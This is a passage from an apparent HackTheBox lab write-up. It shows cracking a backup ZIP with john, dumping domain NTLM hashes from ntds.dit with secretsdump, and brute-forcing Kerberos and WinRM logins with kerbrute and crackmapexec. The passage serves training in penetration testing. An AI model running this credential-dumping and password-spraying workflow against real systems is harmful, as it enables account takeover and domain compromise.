./backup&#9;# This also fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;For the standard domain penetration workflow I&amp;rsquo;d learned, the only thing left was a DNS query on port 53, so I moved on to that.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;53 DNS&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0570.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That didn&amp;rsquo;t work, so I went back and brute-forced port 80 again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0571.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was absolutely no difference. I was now one hundred percent sure there was something inside backup.zip on the 445 share. I checked the errors and tried downloading it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files" target="_blank" rel="noopener"&#10; &gt;https://unix.stackexchange.com/questions/31900/smbclient-alternative-for-large-files&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That post offered several solutions. The command below successfully downloaded the file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -m SMB2 -N &amp;#39;//htb.local/backup&amp;#39; -c &amp;#39;timeout 120; iosize 16384; get backup.zip&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0572.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It required a password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip &amp;gt; passwd.hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ is not encrypted, or stored with non-handled compression type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ntds.dit PKZIP Encr: cmplen=8483543, decmplen=50331648, crc=ACD0B2FB ts=9CCA cs=acd0 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/Active Directory/ntds.jfm PKZIP Encr: cmplen=342, decmplen=16384, crc=2A393785 ts=9CCA cs=2a39 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/ is not encrypted, or stored with non-handled compression type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/SECURITY PKZIP Encr: cmplen=8522, decmplen=262144, crc=9BEBC2C3 ts=9AC6 cs=9beb type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ver 2.0 backup.zip/registry/SYSTEM PKZIP Encr: cmplen=2157644, decmplen=12582912, crc=65D9BFCD ts=9AC6 cs=65d9 type=8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NOTE: It is assumed that all files in each archive have the same password.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If that is not the case, the hash may be uncrackable. To avoid this, use&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;option -o to pick a file at a time.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Only the important files required a password: ntds.dit, SYSTEM, and SECURITY.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip &amp;gt; passwd.hash -o ntds.dit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;zip2john backup.zip&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0573.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;backup.zip:$pkzip$4*1*1*0*8*24*9beb*0f135e8d5f02f852643d295a889cbbda196562ad42425146224a8804421ca88f999017ed*1*0*8*24*65d9*2a1c4c81fb6009425c2d904699497b75d843f69f8e623e3edb81596de9e732057d17fae8*1*0*8*24*acd0*0949e46299de5eb626c75d63d010773c62b27497d104ef3e2719e225fbde9d53791e11a5*2*0*156*4000*2a393785*81733d*37*8*156*2a39*0325586c0d2792d98131a49d1607f8a2215e39d59be74062d0151084083c542ee61c530e78fa74906f6287a612b18c788879a5513f1542e49e2ac5cf2314bcad6eff77290b36e47a6e93bf08027f4c9dac4249e208a84b1618d33f6a54bb8b3f5108b9e74bc538be0f9950f7ab397554c87557124edc8ef825c34e1a4c1d138fe362348d3244d05a45ee60eb7bba717877e1e1184a728ed076150f754437d666a2cd058852f60b13be4c55473cfbe434df6dad9aef0bf3d8058de7cc1511d94b99bd1d9733b0617de64cc54fc7b525558bc0777d0b52b4ba0a08ccbb378a220aaa04df8a930005e1ff856125067443a98883eadf8225526f33d0edd551610612eae0558a87de2491008ecf6acf036e322d4793a2fda95d356e6d7197dcd4f5f0d21db1972f57e4f1543c44c0b9b0abe1192e8395cd3c2ed4abec690fdbdff04d5bb6ad12e158b6a61d184382fbf3052e7fcb6235a996*$/pkzip$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Put the hash above into a file, then crack it.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john ./hash --wordlist=/usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using default input encoding: UTF-8&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Loaded 1 password hash (PKZIP [32/64])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Will run 8 OpenMP threads&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iloveyousomuch (backup.zip)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1g 0:00:00:00 DONE (2024-12-06 12:42) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use the &amp;#34;--show&amp;#34; option to display all of the cracked passwords reliably&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Session completed.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0574.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. Next I just needed to extract the NTLM hashes, and since WinRM was open, I should have been able to log straight in.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/doc/python3-impacket/examples/secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL &amp;gt; htlm.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0575.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were loads of accounts. I first extracted them, then prepared to brute-force them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp_htlm = open(&amp;#39;htlm.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in temp_htlm:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;,&amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if &amp;#39;endstop&amp;#39; in temp:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = temp.split(&amp;#39;:&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[0])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[3])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;userandpass.txt&amp;#39;,&amp;#39;a&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).write(temp[0]+&amp;#39;:&amp;#39;+temp[2]+&amp;#34;:&amp;#34;+temp[3]+&amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;users.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(temp[0] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;hashes.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(temp[2] + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0576.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I added a terminator. I didn&amp;rsquo;t need the other approach for now. This gave me user.txt and hashes.txt for brute-forcing. Trying every user against every hash would obviously be very slow, though. First I went after port 88 and used kerbrute to identify valid usernames. Then I could brute-force those usernames against hashes.txt, which made much more sense.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute userenum --dc htb.local -d htb.local users.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It had just spent ages brute-forcing without any response at all. Restarting the machine fixed it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0577.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of them worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0578.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were only three accounts, but finding them took a very long time—nearly twenty minutes of brute-forcing. All the default passwords were wrong. I planned to start with the bottom account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0579.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It stopped working again during the brute-force. This was already the third time. It recovered after a while, then stopped again. There was clearly an anti-brute-force mechanism here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0580.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If 445 wasn&amp;rsquo;t an option, I&amp;rsquo;d simply switch protocols. Port 88 wasn&amp;rsquo;t restricted, after all, and 5985 WinRM might not be restricted either, so it was worth testing. (The downside of WinRM is that the username and password might be correct, but if the account isn&amp;rsquo;t allowed to log in, there is no way to tell.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm htb.local -u 1.txt -H hashes.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp_htlm = open(&amp;#39;htlm.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in temp_htlm:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;,&amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if &amp;#39;endstop&amp;#39; in temp:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = temp.split(&amp;#39;:&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[0])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[3])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;henry.vinson&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;APT$&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;Administrator&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Kerbrute required username-and-hash pairs generated this way. I ran both brute-force attempts in parallel and waited.&lt;/p&gt;&#10;&lt;p&gt;I waited a long time and got no results. The problem with kerbrute may have been that I supplied a hash dictionary. I couldn&amp;rsquo;t find any online tutorials covering username/password brute-forcing, so I had written the arguments based on &lt;code&gt;-h&lt;/code&gt;. CrackMapExec most likely failed because the accounts weren&amp;rsquo;t allowed to log in through WinRM.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a tool in this blog that could brute-force hashes.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3gstudent/pyKerbrute/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3gstudent/pyKerbrute/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It kept throwing errors when I tried to run it, so I checked the failing line in the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0581.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Two tabs were missing, so the code wasn&amp;rsquo;t aligned inside the if statement. There was also an else below it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0582.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was bizarre. It looked fine in VS Code, but turned into this once I moved it over. Even if I manually fixed it, saving would change it back. I eventually got it sorted out. I think something was wrong with the tabs at the start, so I deleted them all and indented everything again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0583.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then another error appeared. I had no idea whether it would even work after I fixed it, but at that point it was still the only path forward. I searched for the error and found people saying it was caused by a version mismatch, but&amp;hellip;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0584.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The project shipped with its own copy. I only needed to import that bundled package, so I continued modifying the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0585.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I fixed the import, and it worked fine on Windows, but immediately failed on Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0586.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Following the advice there, I needed to delete every pyc file in that folder. Once they were gone, the script ran.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0587.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This error appeared because I passed a file path, which wasn&amp;rsquo;t what the script expected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0588.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After fixing that, another error 